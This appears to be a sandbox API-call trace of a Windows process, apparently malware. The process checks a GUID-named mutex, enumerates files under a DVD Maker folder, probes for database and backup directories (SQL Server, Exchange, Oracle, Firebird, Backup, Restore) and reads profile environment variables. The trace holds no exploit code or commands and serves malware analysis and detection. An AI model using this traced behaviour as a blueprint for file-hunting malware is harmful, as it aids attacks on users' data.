[0058.326] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.326] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.326] GlobalUnlock (hMem=0x440004) returned 0 [0058.326] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.326] GlobalUnlock (hMem=0x44000c) returned 0 [0058.326] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.326] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.326] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.326] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.326] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.326] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.326] GlobalUnlock (hMem=0x44000c) returned 0 [0058.326] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.326] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.326] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.326] GlobalUnlock (hMem=0x44000c) returned 0 [0058.326] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.326] GlobalUnlock (hMem=0x440004) returned 0 [0058.326] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.326] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.326] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.326] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.326] GlobalLock (hMem=0x440004) returned 0x550170 [0058.326] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.326] GlobalUnlock (hMem=0x440004) returned 0 [0058.327] GlobalLock (hMem=0x440004) returned 0x550170 [0058.327] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.327] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.327] GlobalUnlock (hMem=0x440004) returned 0 [0058.327] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.327] GlobalUnlock (hMem=0x44000c) returned 0 [0058.327] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.327] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.327] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.327] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.327] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.327] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.327] GlobalUnlock (hMem=0x44000c) returned 0 [0058.327] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.327] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.327] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.327] GlobalUnlock (hMem=0x44000c) returned 0 [0058.327] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.327] GlobalUnlock (hMem=0x440004) returned 0 [0058.327] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.327] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.327] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.327] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.327] GlobalLock (hMem=0x440004) returned 0x550170 [0058.327] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.327] GlobalUnlock (hMem=0x440004) returned 0 [0058.328] GlobalLock (hMem=0x440004) returned 0x550170 [0058.328] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.328] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.328] GlobalUnlock (hMem=0x440004) returned 0 [0058.328] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.328] GlobalUnlock (hMem=0x44000c) returned 0 [0058.328] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.328] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.328] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.328] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.328] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.328] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.328] GlobalUnlock (hMem=0x44000c) returned 0 [0058.328] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.328] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.328] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.328] GlobalUnlock (hMem=0x44000c) returned 0 [0058.328] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.328] GlobalUnlock (hMem=0x440004) returned 0 [0058.328] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.328] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0058.328] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.328] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.328] GlobalLock (hMem=0x440004) returned 0x550170 [0058.328] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.328] GlobalUnlock (hMem=0x440004) returned 0 [0058.328] GlobalLock (hMem=0x440004) returned 0x550170 [0058.329] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.329] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.329] GlobalUnlock (hMem=0x440004) returned 0 [0058.329] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.329] GlobalUnlock (hMem=0x44000c) returned 0 [0058.329] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.329] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.329] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.329] GlobalUnlock (hMem=0x44000c) returned 0 [0058.329] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.329] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.329] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.329] GlobalUnlock (hMem=0x44000c) returned 0 [0058.329] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.329] GlobalUnlock (hMem=0x440004) returned 0 [0058.329] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.329] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels", len=0x3a | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels") returned 1 [0058.329] GlobalLock (hMem=0x440004) returned 0x550170 [0058.329] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.329] GlobalUnlock (hMem=0x440004) returned 0 [0058.329] GlobalLock (hMem=0x440004) returned 0x550170 [0058.329] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.329] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.329] GlobalUnlock (hMem=0x440004) returned 0 [0058.329] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.329] GlobalUnlock (hMem=0x44000c) returned 0 [0058.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@妾U妒U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0058.339] GetLastError () returned 0x3 [0058.339] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.339] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.339] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@夜U企@\x18㾤Q\x181")) returned 0xffffffff [0058.341] GetLastError () returned 0x2 [0058.341] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@쏬R企@\x18?T\x18;")) returned 0xffffffff [0058.342] GetLastError () returned 0x2 [0058.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@锴R企@\x18?T\x18D")) returned 0xffffffff [0058.344] GetLastError () returned 0x2 [0058.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@夜U企@\x18쏬R\x18j")) returned 0xffffffff [0058.345] GetLastError () returned 0x2 [0058.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@锴R企@\x18?T\x18q")) returned 0xffffffff [0058.347] GetLastError () returned 0x2 [0058.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\쏨RP") returned 6 [0058.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0058.349] GetLastError () returned 0x2 [0058.349] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@夜U企@\x18?T\x18\x81")) returned 0xffffffff [0058.350] GetLastError () returned 0x2 [0058.350] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@锴R企@\x18?T\x18\x88")) returned 0xffffffff [0058.352] GetLastError () returned 0x2 [0058.352] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.353] GetLastError () returned 0x2 [0058.353] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="阜R䱠@夜U企@\x18?T\x18\x97")) returned 0xffffffff [0058.355] GetLastError () returned 0x2 [0058.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.355] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.355] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.355] GlobalUnlock (hMem=0x44000c) returned 0 [0058.355] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.355] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.355] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.355] GlobalUnlock (hMem=0x44000c) returned 0 [0058.355] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.355] GlobalUnlock (hMem=0x440004) returned 0 [0058.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.355] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.355] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.355] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD 